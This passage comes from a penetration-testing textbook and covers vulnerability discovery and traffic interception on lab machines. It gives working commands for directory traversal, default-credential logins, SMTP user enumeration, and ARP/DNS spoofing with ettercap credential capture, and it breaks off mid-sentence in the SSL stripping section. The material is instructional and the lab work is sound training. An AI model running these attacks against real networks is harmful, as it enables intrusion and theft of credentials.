Finding Vulnerabilities
147
Once in the context of the module, we can test out check, as shown in
Listing 6-9.
msf exploit(seattlelab_pass) > set RHOST 192.168.20.10
rhost => 192.168.20.10
msf exploit(seattlelab_pass) > check
[*] This exploit does not support check.
msf exploit(seattlelab_pass) >
Listing 6-9: The SLMail module has no check function.
As it turns out, this exploit module does not implement the check function, so we don’t have solid assurance that a service is vulnerable. Although
our SLMail POP3 server appears to be vulnerable based on its banner version
number, we can’t get confirmation from Metasploit. In cases like these, we
may not be able to know for sure if a vulnerability exists short of running an
exploit.
Web Application Scanning
Although a client’s custom-built apps may have security problems, your target may also deploy prebuilt web applications such as payroll apps, webmail,
and so on, which can be vulnerable to the same issues. If we can find an
instance of known vulnerable software, we may be able to exploit it to get
a foothold in a remote system.
Web application issues are particularly interesting on many external
penetration tests where your attack surface may be limited to little more
than web servers. For example, as you can see in Figure 6-14, browsing to
the default web page of the web server on our Linux target reveals a default
Apache install page.
Figure 6-14: Default Apache page
148 Chapter 6
Unless we can find a vulnerability in the underlying web server software, we’ll have a hard time exploiting a simple page that reads “It works!”
Before we write this service off, though, let’s use a web scanner to look for
additional pages that we might not see otherwise.
Nikto
Nikto is a web application vulnerability scanner built into Kali that’s like
Nessus for web apps: It looks for issues such as dangerous files, outdated
versions, and misconfigurations. To run Nikto against our Linux target,
we tell it which host to scan with the -h flag, as shown in Listing 6-10.
[email protected]:/# nikto -h 192.168.20.11
- Nikto v2.1.5
--------------------------------------------------------------------------+ Target IP:
192.168.20.11
+ Target Hostname:
192.168.20.11
+ Target Port:
80
+ Start Time:
2015-12-28 21:31:38 (GMT-5)
--------------------------------------------------------------------------+ Server: Apache/2.2.9 (Ubuntu) PHP/5.2.6-2ubuntu4.6 with Suhosin-Patch
--snip-+ OSVDB-40478: /tikiwiki/tiki-graph_formula.php?w=1&h=1&s=1&min=1&max=2&f[]=x.
tan.phpinfo()&t=png&title=http://cirt.net/rfiinc.txt?: TikiWiki contains a
vulnerability which allows remote attackers to execute arbitrary PHP code. u
+ 6474 items checked: 2 error(s) and 7 item(s) reported on remote host
+ End Time:
2015-12-28 21:32:41 (GMT-5) (63 seconds)
Listing 6-10: Running Nikto
Manually browsing to the default installation path for every application
with known vulnerabilities would be a daunting task, but fortunately, Nikto
seeks out URLs that may not be apparent. One particularly interesting finding here is a vulnerable installation of the TikiWiki software u on the server.
Sure enough, if we browse to the TikiWiki directory at http://192.168.20.11/
tikiwiki/, we find the CMS software. Nikto thinks that this install is subject
to a code execution vulnerability, and further analysis of Open Sourced
Vulnerability Database (OSVDB) entry 40478 reveals that this issue has a
Metasploit exploit that we can use during exploitation.
N o t e OSVDB
(http://osvdb.com/) is a vulnerability repository specifically for open source
software such as TikiWiki, with detailed information on a wide variety of products.
Use it to search for additional information about possible issues you find.
Attacking XAMPP
Browsing to our Windows XP web server, we see at http://192.168.20.10/ that
the default web page announces itself as XAMPP 1.7.2.
By default, XAMPP installations include phpMyAdmin, a database
administration web application. Ideally, phpMyAdmin would not be available
Finding Vulnerabilities
149
over the network, or at least it should require credentials to access it. But
on this version of XAMPP, the phpMyAdmin install at http://192.168.20.10​
/phpmyadmin/ is available and open. Even worse, phpMyAdmin gives us root
access on the same MySQL server that NSE told us we are unable to connect to. Using phpMyAdmin (as shown in Figure 6-15), we can bypass this
restriction and perform MySQL queries on the server.
Figure 6-15: The open phpMyAdmin console complains quite loudly about the poor
configuration.
Default Credentials
In addition to its inclusion of phpMyAdmin, a Google search tells us
that XAMPP 1.7.3 and earlier come with Web Distributed Authoring and
Versioning (WebDAV) software, which is used to manage files on a web
server over HTTP. XAMPP’s WebDAV installation comes with the default
username and password wampp:xampp. If these values aren’t changed, anyone with access to WebDAV can log in, deface the website, and even possibly upload scripts that will allow attackers to get a foothold on the system
through the web server. And, as you can see in Figure 6-16, WebDAV is
indeed present on this server.
Figure 6-16: WebDAV install
We can use the tool Cadaver to interact with WebDAV servers. In
Listing 6-11, we use Cadaver to try to connect to the WebDAV server at
http://192.168.20.10 and test the default credential set.
150 Chapter 6
[email protected]:/# cadaver http://192.168.20.10/webdav
Authentication required for XAMPP with WebDAV on server `192.168.20.10':
Username: wampp
Password:
dav:/webdav/> u
Listing 6-11: Using Cadaver
The Cadaver login is successful u. Our Windows XP target uses the
default credentials for WebDAV, which we will be able to exploit. Now that
we have access to WebDAV, we can upload files to the web server.
Manual Analysis
Sometimes, no solution will work nearly as well as manual vulnerability
analysis to see if a service will lead to a compromise, and there’s no better
way to improve than practice. In the sections that follow we’ll explore some
promising leads from our port and vulnerability scanning.
Exploring a Strange Port
One port that has failed to come up in our automated scans is 3232 on our
Windows target. If you try scanning this port with an Nmap version scan (as
we did at the end of Chapter 5), you’ll notice that it crashes. This behavior
suggests that the listening program is designed to listen for a particular
input and that it has difficulty processing anything else.
This sort of behavior is interesting to pentesters, because programs
that crash when handling malformed input aren’t validating input properly.
Recall from Chapter 5 that in the process of crashing the program, the output led us to believe that the software is a web server. Connecting to the port
with a browser, as shown in Figure 6-17, confirms this.
Figure 6-17: Web server on port 3232
The web page served doesn’t tell us much, but from here we can connect to the port manually using Netcat. We know this is a web server, so we
will talk to it as such. We know we can browse to the default web page, so
we can enter GET / HTTP/1.1 to ask the web server for the default page (see
Listing 6-12).
Finding Vulnerabilities
151
[email protected]:~# nc 192.168.20.10 3232
GET / HTTP/1.1
HTTP/1.1 200 OK
Server: Zervit 0.4 u
X-Powered-By: Carbono
Connection: close
Accept-Ranges: bytes
Content-Type: text/html
Content-Length: 36
<html>
<body>
hi
</body>
</html>[email protected]:~#
Listing 6-12: Connecting to a port with Netcat
The server announces itself as Zervit 0.4 u. It doesn’t look good for the
software because the first autocomplete entry in a search for Zervit 0.4 on
Google is “Zervit 0.4 exploit.” This web server software is subject to multiple security issues, including a buffer overflow and a local file inclusion
vulnerability, which allows us to serve other files on the system. This service
is so sensitive that it may be best to avoid buffer overflow attacks, because
one false move will crash it. The local file inclusion, on the other hand,
looks promising. We know the server can process HTTP GET requests. For
example, we can download Windows XP’s boot.ini file by moving back five
directories to the C drive using GET, as shown in Listing 6-13.
[email protected]:~# nc 192.168.20.10 3232
GET /../../../../../boot.ini HTTP/1.1
HTTP/1.1 200 OK
Server: Zervit 0.4
X-Powered-By: Carbono
Connection: close
Accept-Ranges: bytes
Content-Type: application/octet-stream
Content-Length: 211
[boot loader]
timeout=30
default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS
[operating systems]
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Home
Edition" /fastdetect /NoExecute=OptIn
Listing 6-13: Local file inclusion in Zervit 0.4
We’re able to pull down boot.ini, a config file that tells Windows which
operating system options to display at boot time. We’ll use this local file
inclusion to pull down additional sensitive files in Chapter 8.
152 Chapter 6
Finding Valid Usernames
We can drastically increase our chances of a successful password attack if
we know valid usernames for services. (We’ll explore this in more detail in
Chapter 9.) One way to find valid usernames for mail servers is to use the
VRFY SMTP command, if it is available. As the name implies, VRFY verifies if a
user exists. NSE found the VRFY verb is enabled on the Windows XP target in
the previous chapter. Connect to TCP port 25 using Netcat, and use VRFY to
check for usernames, as shown in Listing 6-14.
[email protected]:~# nc 192.168.20.10 25
220 georgia.com SMTP Server SLmail 5.5.0.4433 Ready ESMTP spoken here
VRFY georgia
250 Georgia<[email protected]>
VRFY john
551 User not local
Listing 6-14: Using the SMTP VRFY command
Using VRFY we see that georgia is a valid username, but there is no user
called john. We will look at using valid usernames to try to guess passwords
in Chapter 9.
Summary
In this chapter, we have touched on various methods to find exploitable vulnerabilities on our targets. Using a variety of tools and techniques, we were
able to find myriad ways to go after our targets, including our trusty MS08067 exploit against our Windows XP SMB server and a local file inclusion
vulnerability on the Zervit 0.4 web server that will allow us to download
system files. Using VRFY, we found a valid username that we can use in
password-guessing attacks on the mail server.
We learned that the SLMail server may have a vulnerability in the
POP3 service based on its reported version number (though we were not
able to find out for sure), and we found an open phpMyAdmin install on
the web server that gives us root access to the underlying database, as well
as an XAMPP install with default credentials for WebDAV that will allow
us to upload files to the web server. On the Linux target, we found an NFS
share with write access that allows us to write to a user’s .ssh directory, and
we discovered a not-readily-apparent TikiWiki install on the web server
that appears to contain a code execution vulnerability. The Vsftpd 2.3.4
FTP server may have a hidden backdoor due to a compromise of the Vsftpd
repositories.
At this point in the book we can see that our Windows XP and Linux
target machines suffer from a lot of issues. The lack of attack surface on our
Windows 7 target makes it seem pretty safe, but as we will see a bit later, that
solid exterior hides a few holes underneath. Before we move on to exploiting these vulnerabilities, the next chapter will look at capturing traffic to
gain sensitive information such as login credentials.
Finding Vulnerabilities
153
7
Capturing Tr affic
Before we move on to exploitation, we’ll use the
Wireshark monitoring tool, as well as other tools, to
sniff and manipulate traffic to gain useful information from other machines on the local network. On
an internal penetration test, when we’re simulating an
insider threat or an attacker who has breached the
perimeter, capturing traffic from other systems in the network can give
us additional interesting information (perhaps even usernames and passwords) that can help us with exploitation. The trouble is that capturing
traffic can produce a massive amount of potentially useful data. Capturing
all traffic on just your home network could quickly fill several Wireshark
screens, and discovering which traffic is useful for a pentest can be difficult.
In this chapter, we’ll look at several ways to manipulate a network to get
access to traffic we have no business being able to see.
Networking for Capturing Traffic
If you find yourself in a network that uses hubs rather than switches, capturing traffic not intended for your machine will be easy, because when a
network hub receives a packet, it rebroadcasts it on all ports, leaving it up
to each device to decide whom the packet belongs to. In a hubbed network,
capturing other systems’ traffic is as easy as selecting Use promiscuous mode
on all interfaces in Wireshark. This tells our Network Interface Controller
(NIC) to grab everything it sees, which in a hubbed network will be every
packet.
Unlike hubs, switches send traffic only to the intended system, so on a
switched network, we won’t be able to view, for example, all the traffic to
and from the domain controller without fooling the network into sending
us that traffic. Most networks you encounter on pentests will probably be
switched networks; even some legacy network hardware that claims to be
a hub may have the functionality of a switch.
Virtual networks seem to act like hubs, because all your virtual machines
share one physical device. If you capture traffic in promiscuous mode in
a virtual network, you may be able to see traffic from every virtual machine
as well as the host machine, even if you are using a switch instead of a hub in
your environment. To simulate a non-virtualized network, we’ll turn off Use
promiscuous mode on all interfaces in Wireshark, which means we will have
to work a little harder to capture traffic from our target virtual machines.
Using Wireshark
Wireshark is a graphical network protocol analyzer that lets us take a deep
dive into the individual packets moving around the network. Wireshark
can be used to capture Ethernet, wireless, Bluetooth, and many other kinds
of traffic. It can decode different protocols that it sees, so you could, for
instance, reconstruct the audio of Voice over IP (VoIP) phone calls. Let’s
take a look at the basics of using Wireshark to capture and analyze traffic.
Capturing Traffic
Let’s start by using Wireshark to capture traffic on our local network.
Start Wireshark in Kali, as shown here. Click through any warnings about
using Wireshark as root being dangerous.
[email protected]:~# wireshark
Tell Wireshark to capture on the local network interface (eth0) by selecting Capture4Options, and selecting the eth0 option, as shown in Figure 7-1.
Remember to uncheck the Use promiscuous mode on all interfaces option so
that the results will be like those on a physical switched network rather than
the VMware network. Exit the Options menu. Finally, click CaptureStart
to begin the traffic capture.
156 Chapter 7
You should start to see traffic coming in, and you should be able to capture all traffic intended for the Kali machine as well as any broadcast traffic
(traffic sent to the entire network).
Figure 7-1: Starting a Wireshark capture
To illustrate the traffic we can capture in a switched network, let’s start
by contacting our Windows XP target from our Kali machine over FTP.
Log in as anonymous, as shown in Listing 7-1, to see the captured traffic in
Wireshark. (In the previous chapter, we discovered that the anonymous user
is allowed on the Windows XP target. Although anonymous requires that you
enter a password, it doesn’t matter what it is. Traditionally, it is an email
address, but the FTP server will accept whatever you would like to use.)
[email protected]:~# ftp 192.168.20.10
Connected to 192.168.20.10.
220-FileZilla Server version 0.9.32 beta
220-written by Tim Kosse ([email protected])
220 Please visit http://sourceforge.net/projects/filezilla/
Name (192.168.20.10:root): anonymous
331 Password required for anonymous
Password:
230 Logged on
Remote system type is UNIX.
ftp>
Listing 7-1: Logging in via FTP
Capturing Traffic 157
You should see packets in Wireshark from the system with IP address
192.168.20.9 to 192.168.20.10 and vice versa, with the Protocol field marked
as FTP. Wireshark is capturing the traffic moving to and from our Kali
machine.
Switch over to your Ubuntu Linux target machine, and log in to the
FTP server on the Windows XP target. Looking back at Wireshark in Kali,
you should see that no additional FTP packets have been captured. In our
simulated switched network, any traffic not destined for our Kali machine
will not be seen by the network interface and, thus, will not be captured by
Wireshark. (We’ll learn how to rectify this situation and capture other systems’ traffic in “ARP Cache Poisoning” on page 160.)
Filtering Traffic
The sheer volume of network traffic captured by Wireshark can be a bit
overwhelming because, in addition to our FTP traffic, every other packet
to or from the Kali system is captured. To find specific interesting packets,
we can use Wireshark filters. The Filter field is located at the top left of
the Wireshark GUI. As a very simple first Wireshark filtering example, let’s
look for all traffic that uses the FTP protocol. Enter ftp in the Filter field
and click Apply, as shown in Figure 7-2.
Figure 7-2: Filtering traffic in Wireshark
As expected, Wireshark filters the captured packets to show only those
that use the FTP protocol. We can see our entire FTP conversation, including our login information, in plaintext.
158 Chapter 7
We can use more advanced filters to further fine-tune the packets
returned. For example, we can use the filter ip.dst==192.168.20.10 to return
only packets with the destination IP address 192.168.20.10. We can even
chain filters together, such as using the filter ip.dst==192.168.20.10 and ftp
to find only FTP traffic destined for 192.168.20.10.
Following a TCP Stream
Even after filtering traffic, there may be multiple FTP connections captured
during the same time frame, so it could still be difficult to tell what’s going
on. But once we find an interesting packet, such as the beginning of an FTP
login, we can dig deeper into the conversation by right-clicking the packet
and selecting Follow TCP Stream, as shown in Figure 7-3.
Figure 7-3: Following the TCP stream in Wireshark
The resulting screen will show us the full contents of our FTP connection, including its credentials in plaintext, as shown in Listing 7-2.
220-FileZilla Server version 0.9.32 beta
220-written by Tim Kosse ([email protected])
220 Please visit http://sourceforge.net/projects/filezilla/
USER anonymous
331 Password required for anonymous
PASS [email protected]
230 Logged on
SYST
215 UNIX emulated by FileZilla
Listing 7-2: FTP login conversation
Capturing Traffic 159
Dissecting Packets
By selecting a specific captured packet, we can get more information about
the captured data, as shown in Figure 7-4. At the bottom of the Wireshark
screen, you can see details of the selected packet. With a little guidance,
Wireshark will break down the data for you. For example, we can easily
find the TCP destination port by selecting the TCP entry and looking for
Destination port, as highlighted in the figure. When we select this field,
the entry in the raw bytes of the packet is highlighted as well.
Figure 7-4: Packet details in Wireshark
ARP Cache Poisoning
While it is nice to see the details of our own traffic, for pentesting purposes,
it would be preferable to see the traffic that wasn’t intended for our Kali
system. Perhaps we’ll be able to capture another user’s login session that
uses an account other than anonymous to log in; that would give us working
credentials for the FTP server, as well as a set of credentials that might be
reused elsewhere in the environment.
To capture traffic not intended for the Kali system, we need to find
some way to have the relevant data sent to our Kali system. Because the
network switch will send only packets that belong to us, we need to trick
our target machine or the switch (or ideally both) into believing the traffic
belongs to us. We will perform a so-called man-in-the-middle attack, which
160 Chapter 7
will allow us to redirect and intercept traffic between two systems (other
than our own system) before forwarding packets on to the correct destination. One tried-and-true technique for masquerading as another device on
the network is called Address Resolution Protocol (ARP) cache poisoning (also
known as ARP spoofing).
ARP Basics
When we connect to another machine on our local network, we usually
use its hostname, fully qualified domain name, or IP address. (We’ll look
at domain name server cache poisoning in “DNS Cache Poisoning” on
page 167.) Before a packet can be sent from our Kali machine to the
Windows XP target, Kali must map the IP address of the XP target machine
to the Media Access Control (MAC) address of the network interface card
(NIC) so Kali knows where on the network to send the packet. To do this,
it uses ARP to broadcast “Who has IP address 192.168.20.10?” on the local
network. The machine with the IP address 192.168.20.10 writes back, “I have
192.168.20.10, and my MAC address is 00:0c:29:a9:ce:92.” In our case this
will be the Windows XP target. Our Kali system will store the mapping from
IP address 192.168.20.10 to the MAC address 00:0c:29:a9:ce:92 in its ARP
cache.
When it sends the next packet, our machine will first look to its ARP
cache for an entry for 192.168.20.10. If it finds one, it will use that entry
as the address of the target rather than sending another ARP broadcast.
(ARP cache entries are flushed out regularly because network topology may
change at any time.) Thus, systems will regularly be sending ARP broadcasts as their caches are flushed. This process will come in handy when we
perform ARP cache poisoning in the next section. The ARP process is illustrated in Figure 7-5.
Who has 192.168.20.10?
Who has 192.168.20.10?
Kali
(192.168.20.9)
Ubuntu target
(192.168.20.11)
I have 192.168.20.10.
My MAC address is
00:0c:29:a9:ce:92.
Windows XP target
(192.168.20.10)
Figure 7-5: ARP resolution process
Capturing Traffic 161
To view the ARP cache in our Kali machine, enter arp. Currently, the
only IP address–to–MAC address mappings that it knows are 192.168.20.1,
the default gateway, as well as 192.168.20.10, the Windows XP machine we
engaged in the last exercise.
[email protected]:~# arp
Address
192.168.20.1
192.168.20.10
HWtype HWaddress
ether 00:23:69:f5:b4:29
ether 00:0c:29:05:26:4c
Flags Mask
C
C
Iface
eth0
eth0
Now restart the Wireshark capture, and use the anonymous login to
interact with the Ubuntu target’s FTP server again. Next, use the arp
filter, as shown in Figure 7-6, to see the ARP broadcast from the Kali
machine and the reply from the Ubuntu target with its MAC address.
Figure 7-6: ARP broadcast and reply
Check your Kali Linux’s ARP cache again. You should see an entry for
192.168.20.10.
[email protected]:~# arp
Address
192.168.20.1
192.168.20.10
192.168.20.11
HWtype
ether
ether
ether
HWaddress
00:23:69:f5:b4:29
00:0c:29:05:26:4c
80:49:71:14:97:2b
Flags Mask
C
C
C
Iface
eth0
eth0
eth0
The trouble with relying on ARP for addressing is that there’s no guarantee that the IP address–to–MAC address answer you get is correct. Any
machine can reply to an ARP request for 192.168.20.11, even if that machine
is really at 192.168.20.12 or some other IP address. The target machine will
accept the reply, regardless.
162 Chapter 7
That’s ARP cache poisoning in a nutshell. We send out a series of ARP
replies that tell our target that we are another machine on the network.
Thus, when the target sends traffic intended for that machine, it will instead
send the packets straight to us to be picked up by our traffic sniffer, as shown
in Figure 7-7.
Recall from “Capturing Traffic” on page 156 that we initiated an FTP
connection from our Ubuntu target to the Windows XP target, but the traffic flowing through that connection was not captured by Wireshark on our
Kali system. Using an ARP cache poisoning attack, we can trick the two
systems into sending their traffic to our Kali machine instead, to be captured in Wireshark.
Kali forwards traffic
to Windows XP.
Kali forwards
traffic to Ubuntu.
Kali
(192.168.20.9)
Windows XP sends traffic
destined for Ubuntu to Kali.
Ubuntu target
(192.168.20.11)
Ubuntu sends traffic destined
for Windows XP to Kali.
Windows XP target
(192.168.20.10)
Figure 7-7: ARP cache poisoning redirects traffic through Kali.
IP Forwarding
But before we can trick the Linux target into sending credentials for the
FTP server to us instead, we need to turn on IP forwarding to tell our Kali
machine to forward any extraneous packets it receives to their proper destination. Without IP forwarding, we’ll create a denial-of-service (DoS) condition
on our network, where legitimate clients are unable to access services. For
example, if we were to use ARP cache poisoning without IP forwarding to
redirect traffic from the Linux target, intended for the Windows XP target,
to our Kali machine, the FTP server on the Windows XP machine would
never receive the packets from the Linux machine and vice versa.
The setting for IP forwarding on Kali is in /proc/sys/net/ipv4/ip_forward.
We need to set this value to 1.
[email protected]:~# echo 1 > /proc/sys/net/ipv4/ip_forward
Capturing Traffic 163
Before we start ARP cache poisoning, note the entry for the Windows
XP target (192.168.20.10) in the Linux target’s ARP cache. This value will
change to the MAC address of the Kali machine after we commence ARP
cache poisoning.
[email protected]:~$ arp -a
? (192.168.20.1) at 00:23:69:f5:b4:29 [ether] on eth2
? (192.168.20.10) at 00:0c:29:05:26:4c [ether] on eth0
? (192.168.20.9) at 70:56.81:b2:f0:53 [ether] on eth2
ARP Cache Poisoning with Arpspoof
One easy-to-use tool for ARP cache poisoning is Arpspoof. To use Arpspoof,
we tell it which network interface to use, the target of our ARP cache poisoning attack, and the IP address we would like to masquerade as. (If you
leave out the target, you’ll poison the entire network.) For our example, to
fool the Linux target into thinking we are the Windows XP machine, I set
the -i option as eth0 to specify the interface, the -t option as 192.168.20.11
to specify the target as the Linux box, and 192.168.20.10 as the Windows XP
machine I want to pretend to be.
[email protected]:~# arpspoof -i eth0 -t 192.168.20.11 192.168.20.10
Arpspoof immediately starts sending ARP replies to the Linux target,
informing it that the Windows XP machine is located at the Kali machine’s
MAC address. (ARP cache entries are updated at varying times among different implementations, but one minute is a safe length of time to wait.)
To capture the other side of the conversation, we need to fool the
Windows XP machine into sending traffic intended for the Linux target to
the Kali machine as well. Start another instance of Arpspoof, and this time
set the target as the Windows XP machine and the recipient as the Linux
machine.
[email protected]:~#
arpspoof -i eth0 -t 192.168.20.10 192.168.20.11
Once you start ARP cache poisoning, check your Linux target’s ARP
cache again. Notice that the MAC address associated with the Windows XP
target has changed to 70:56:81:b2:f0:53. The Linux target should send all
traffic intended for the Windows XP target to the Kali machine, where we
can capture it in Wireshark.
[email protected]:~$ arp -a
? (192.168.20.1) at 00:23:69:f5:b4:29 [ether] on eth0
? (192.168.20.10) at 70:56:81:b2:f0:53 [ether] on eth0
164 Chapter 7
Now log in to the Windows XP target’s FTP server from the Linux target
using another account (see Listing 7-3). (The credentials georgia:password
will work if you followed my instructions in Chapter 1. If you set your credentials as something else, use those instead.)
[email protected]:~$ ftp 192.168.20.10
Connected to 192.168.20.10.
220-FileZilla Server version 0.9.32 beta
220-written by Tim Kosse ([email protected])
220 Please visit http://sourceforge.net/projects/filezilla/
Name (192.168.20.10:georgia): georgia
331 Password required for georgia
Password:
230 Logged on
Remote system type is UNIX.
Listing 7-3: Logging in to FTP on Windows XP from the Ubuntu target with a user account
Because we have IP forwarding turned on, everything appears to work
normally as far as our user is concerned. Returning to Wireshark, we see
that this time we were able to capture the FTP traffic and read the plaintext
login credentials. The Wireshark output shown in Figure 7-8 confirms that
our Kali machine is forwarding the FTP traffic between the two targets.
After each FTP packet, there is a retransmission packet.
Figure 7-8: Wireshark captures the login information.
Using ARP Cache Poisoning to Impersonate the Default Gateway
We can also use ARP cache poisoning to impersonate the default gateway
on a network and access traffic entering and leaving the network, including traffic destined for the Internet. Stop the Arpspoof processes you have
Capturing Traffic 165
running, and try tricking the Linux target into routing all traffic to the
gateway through the Kali machine by impersonating the default gateway,
as shown here.
[email protected]:~# arpspoof -i eth0 -t 192.168.20.11 192.168.20.1
[email protected]:~# arpspoof -i eth0 -t 192.168.20.1 192.168.20.11
If we start to browse the Internet from the Linux target, we should see
HTTP packets being captured by Wireshark. Even if sensitive information is
encrypted with HTTPS, we’ll still be able to see where users are going and
any other information sent over HTTP. For example, if we run a Google
query, the plaintext of the query will be captured in Wireshark, as shown in
Figure 7-9.
Note
If you use ARP cache poisoning to trick a large network into thinking your pentest
machine is the default gateway, you may unwittingly cause networking issues. All the
traffic in a network going through one laptop (or worse, one virtual machine) can
slow things down to the point of denial of service in some cases.
Figure 7-9: Query captured in Wireshark
166 Chapter 7
DNS Cache Poisoning
In addition to ARP cache poisoning, we can also poison Domain Name
Service (DNS) cache entries (mappings from domain names to IP addresses)
to route traffic intended for another website to one we control. Just as ARP
resolves IP to MAC addresses to properly route traffic, DNS maps (or
resolves) domain names such as www.gmail.com to IP addresses.
To reach another system on the Internet or local network, our machine
needs to know the IP address to connect to. It is easy to remember the URL
www.gmail.com if we want to visit our web mail account, but it’s difficult to
remember a bunch of IP addresses, which may even change regularly. DNS
resolution translates the human-readable domain name into an IP address.
For example, we can use the tool Nslookup to translate www.gmail.com into an
IP address, as shown in Listing 7-4.
[email protected]~# nslookup www.gmail.com
Server: 75.75.75.75
Address: 75.75.75.75#53
Non-authoritative answer:
www.gmail.com canonical name = mail.google.com.
mail.google.com canonical name = googlemail.l.google.com.
Name:googlemail.l.google.com
Address: 173.194.37.85
Name:googlemail.l.google.com
Address: 173.194.37.86
Listing 7-4: Nslookup DNS resolution
As you can see, Nslookup translates www.gmail.com to a number of IP
addresses, including 173.194.37.85 and 173.194.37.86, all of which we can
use to reach Gmail. To perform DNS resolution (Figure 7-10), our system
queries its local DNS server for information about a specific domain name,
such as www.gmail.com. If the DNS server has a cache entry for the address,
it gives our system the correct IP address. If not, it contacts other DNS servers on the Internet looking for the correct information.
When the correct IP address is returned, the DNS server writes back
to our machine with the correct IP address resolution for www.gmail.com,
and our system then translates www.gmail.com into 173.194.37.85, as shown
in Listing 7-4. Users can then access www.gmail.com by name without having
to use the IP address.
Capturing Traffic 167
www.gmail.com
is at 173.194.37.85.
DNS server
www.gmail.com
Internet
I don’t know
www.gmail.com.
I’ll ask another
DNS server.
Browse to
173.194.37.85.
I want to browse to
www.gmail.com.
What’s the IP address?
Kali
www.gmail.com
is at 173.194.37.85.
local DNS server
Figure 7-10: DNS resolution
Getting Started
DNS cache poisoning works like ARP cache poisoning: We send a bunch
of bogus DNS resolution replies pointing to the wrong IP address for a
domain name.
Now make sure the Apache server is running with the command service
apache2 start.
[email protected]:~# service apache2 start
* Starting web server apache2
[ OK ]
Before we use a DNS cache poisoning tool, we need to create a file that
specifies which DNS names we would like to spoof and where to send traffic.
For example, let’s tell any system that runs a DNS resolution for www.gmail​
.com that that domain’s IP address is our Kali machine by adding the entry
168 Chapter 7
192.168.20.9 www.gmail.com to a new file called hosts.txt. (You can name the
file anything you like.)
[email protected]:~# cat hosts.txt
192.168.20.9 www.gmail.com
Using Dnsspoof
Restart Arpspoof between the Linux target and the default gateway and
vice versa as discussed in “Using ARP Cache Poisoning to Impersonate the
Default Gateway” on page 165. Now we can start sending DNS cache poisoning attempts using the Dnsspoof DNS spoofing tool, as shown here.
[email protected]:~# dnsspoof -i eth0u -f hosts.txtv
dnsspoof: listening on eth0 [udp dst port 53 and not src 192.168.20.9]
192.168.20.11 > 75.75.75.75.53: 46559+ A? www.gmail.com
We specify the network interface u to use, and point Dnsspoof to the
file (hosts.txt) we just created v telling it which values to spoof.
Once Dnsspoof is running, when we run the nslookup command from
our Linux target, the IP address returned should be our Kali machine’s, as
shown in Listing 7-5. This is clearly not the real IP address for Gmail.
[email protected]:~$ nslookup www.gmail.com
Server: 75.75.75.75
Address: 75.75.75.75#53
Non-authoritative answer:
Name:www.gmail.com
Address: 192.168.20.9
Listing 7-5: Nslookup after attack
To demonstrate this attack, set up a website to direct traffic to. The
Apache server in Kali will by default serve an “It Works” page to anyone
who visits it. We can change the contents of the index.html file in the folder
/var/www, but the default “It Works” text is fine for our purposes.
Now if we browse to http://www.gmail.com/ from the Ubuntu target, the
URL bar should say http://www.gmail.com/, but we’re actually at our Kali
machine’s web server, as shown in Figure 7-11. We can even make this attack
more interesting by cloning the actual Gmail website (or any other site the
attacker chooses) so the user won’t notice the difference.
Capturing Traffic 169
Figure 7-11: This isn’t Gmail.
SSL Attacks
So far, we’ve been able to intercept encrypted traffic, but we haven’t been
able to get any sensitive information out of the encrypted connection. For
this next attack, we’ll rely on a user’s willingness to click past an SSL certificate warning to perform a man-in-the-middle attack and get the plaintext
out of a Secure Sockets Layer (SSL) connection, which encrypts traffic to
protect it from being read by an eavesdropper.
SSL Basics
The goal of SSL is to provide reasonable assurance that any sensitive information (such as credentials or credit card numbers) transmitted between
a user’s browser and a server is secure—unable to be read by a malicious
entity along the way. To prove that the connection is secure, SSL uses certificates. When you browse to an SSL-enabled site, your browser asks the
site to identify itself with its SSL certificate. The site presents its certificate, which your browser verifies. If your browser accepts the certificate, it
informs the server, the server returns a digitally signed acknowledgment,
and SSL-secured communication begins.
170 Chapter 7
An SSL certificate includes an encryption key pair as well as identifying
information, such as the domain name and the name of the company that
owns the site. A server’s SSL certificate is generally vouched for by a certificate authority (CA) such as VeriSign or Thawte. Browsers come preinstalled
with a list of trusted CAs, and if a server’s SSL certificate is vouched for by
a trusted CA, the browser can create a secure connection. If the certificate
is untrusted, the user will be presented with a warning that basically says,
“The connection might be secure, but it might not be. Proceed at your
own risk.”
Using Ettercap for SSL Man-in-the-Middle Attacks
In our ARP cache poisoning attack, we man-in-the-middled the traffic
between our Windows XP and Ubuntu targets (as well as the Ubuntu target and the Internet). These systems were still able to communicate with
each other, but our Kali system was able to capture the traffic. We can do
the same thing to attack SSL traffic. We can break the secure SSL connection by redirecting traffic to and from www​.facebook.com to our Kali system
so we can intercept sensitive information.
For this example, we’ll use Ettercap, a multifunction suite for man-inthe-middle attacks that, in addition to SSL attacks, can also complete all
of the attacks we have performed so far with Arpspoof and Dnsspoof. Turn
off any other spoofing tools before starting Ettercap. See page 22 for configuration instructions.
Ettercap has multiple interfaces, but we will use the -T option for the
text-based interface in this example. Use the -M option with arp:remote
/gateway/ /target/ to set up an ARP cache poisoning attack between the
default gateway and the Linux target, as shown next. The actual attack
will work the same way as our previous exercise with Arpspoof.
[email protected]:~# ettercap -Ti eth0 -M arp:remote /192.168.20.1/ /192.168.20.11/
With Ettercap running, we just wait for users to start interacting with
SSL-based web servers. Switch over to your Linux target, and attempt to log
in to a website using SSL. You should be greeted with a certificate warning
like the one in Figure 7-12.
Because this is a man-in-the-middle attack, the SSL session’s security
cannot be verified. The certificate Ettercap presents isn’t valid for www​
.facebook.com, so the trust is broken, as illustrated in Figure 7-13.
But security warnings don’t stop all users. If we click through the warning and enter our credentials, Ettercap will grab them in plaintext before
forwarding them on to the server, as shown here:
HTTP : 31.13.74.23:443 -> USER: georgia
PASS: password
INFO: https://www.facebook.com/
Capturing Traffic 171
Figure 7-12: Facebook cannot be verified.
www.facebook.com
HTTPS response from
www.facebook.com
HTTPS request for
www.facebook.com
HTTPS request for
www.facebook.com
Ubuntu target
HTTPS response from
www.facebook.com
(certificate from Ettercap is
invalid for www.facebook.com)
Figure 7-13: SSL man-in-the-middle attack
172 Chapter 7
Internet
Kali
SSL Stripping
Of course, the trouble with SSL man-in-the-middle attacks is that users have
to click through the SSL certificate warning. Depending on the browser,
this can be an involved process that is difficult, if not impossible, for a user
to ignore. Most readers can probably think of a time they clicked through a
security warning and continued to the page despite their better judgment.
(Case in point: Our default Nessus install uses Tenable’s self-signed certificate, which throws a certificate error when you browse to the web interface.
If you chose to follow along with that example, you most likely decided to
click through the warning.)
It is difficult to say how effective certificate warnings are at stopping
users from visiting HTTPS sites without valid certificates. I have run socialengineering tests that employed self-signed SSL certificates, and the success
rate has been significantly lower than those with valid certificates or those
